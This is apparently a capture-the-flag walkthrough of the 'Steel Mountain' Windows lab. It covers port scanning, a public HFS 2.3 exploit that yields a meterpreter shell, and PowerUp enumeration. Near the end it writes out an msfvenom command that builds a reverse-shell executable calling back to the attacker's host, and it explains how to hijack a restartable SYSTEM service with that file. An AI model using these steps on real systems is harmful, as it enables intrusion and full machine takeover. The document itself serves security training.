Steel Mountain

Public Exploit - Unquoted service path(CanRestart => True) PrivEsc

Initial Compromise

• Starting off with the nmap scan

PORT      STATE SERVICE            VERSION
80/tcp    open  http               Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: STEELMOUNTAIN
|   NetBIOS_Domain_Name: STEELMOUNTAIN
|   NetBIOS_Computer_Name: STEELMOUNTAIN
|   DNS_Domain_Name: steelmountain
|   DNS_Computer_Name: steelmountain
|   Product_Version: 6.3.9600
|_  System_Time: 2020-06-05T15:20:38+00:00
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2020-06-04T15:15:51
|_Not valid after:  2020-12-04T15:15:51
|_ssl-date: 2020-06-05T15:20:52+00:00; 0s from scanner time.
8080/tcp  open  http               HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
49161/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:17:95:c4:ed:a0 (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-05T15:20:38
|_  start_date: 2020-06-05T15:15:45

• When we connect to http://10.10.97.217:8080, we can see a webpage which name is HFS

• There is a link at the bottom of the page that redirects to http://www.rejetto.com/hfs/

• Looking at some publicly available exploits - version install is 2.3, We land to https://www.exploit-db.com/exploits/39161

• We now have a meterpreter. Let’s get the flag

meterpreter > cd c:/users/bill/desktop
meterpreter > ls
Listing: c:\users\bill\desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-09-27 13:07:07 +0200  desktop.ini
100666/rw-rw-rw-  70    fil   2019-09-27 14:42:38 +0200  user.txt

Privilege Escalation

To enumerate a windows machine, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities - "PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations" - PowerUp.ps1

meterpreter > load powershell 
Loading extension powershell...Success.
meterpreter > powershell_shell 
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...

[*] Checking for unquoted service paths...

ServiceName   : AdvancedSystemCareService9
Path          : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
StartName     : LocalSystem
CanRestart    : True
AbuseFunction : Write-ServiceBinary -ServiceName 'AdvancedSystemCareService9' -Path <HijackPath>

ServiceName   : AWSLiteAgent
Path          : C:\Program Files\Amazon\XenTools\LiteAgent.exe
StartName     : LocalSystem
CanRestart    : False
AbuseFunction : Write-ServiceBinary -ServiceName 'AWSLiteAgent' -Path <HijackPath>

ServiceName   : IObitUnSvr
Path          : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
StartName     : LocalSystem
CanRestart    : False
AbuseFunction : Write-ServiceBinary -ServiceName 'IObitUnSvr' -Path <HijackPath>ServiceName   : LiveUpdateSvc

Path          : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
StartName     : LocalSystem
CanRestart    : False
AbuseFunction : Write-ServiceBinary -ServiceName 'LiveUpdateSvc' -Path <HijackPath>

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

HijackablePath : C:\Windows\system32\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Windows\system32\\wlbsctrl.dll' -Command '...'

HijackablePath : C:\Windows\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Windows\\wlbsctrl.dll' -Command '...'

HijackablePath : C:\Windows\System32\WindowsPowerShell\v1.0\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Windows\System32\WindowsPowerShell\v1.0\\wlbsctrl.dll' -Command '...'
[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

• We can notice that the CanRestart option that is set to true

Which basically just allows us to restart a service on the system, the directory to the application is also write-able.

• This means we can replace the legitimate application with our malicious one ? - Restart the service, which will run our infected program which is our Reverse shell !

Inorder to create a Windows Reverse shell payload we'll use msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.8.50.72 LPORT=4443 -f exe -o Advanced.exe

• Upload it in the C:\Program Files (x86)\IObit\ directory and keep the handler ready - Grab the root flag !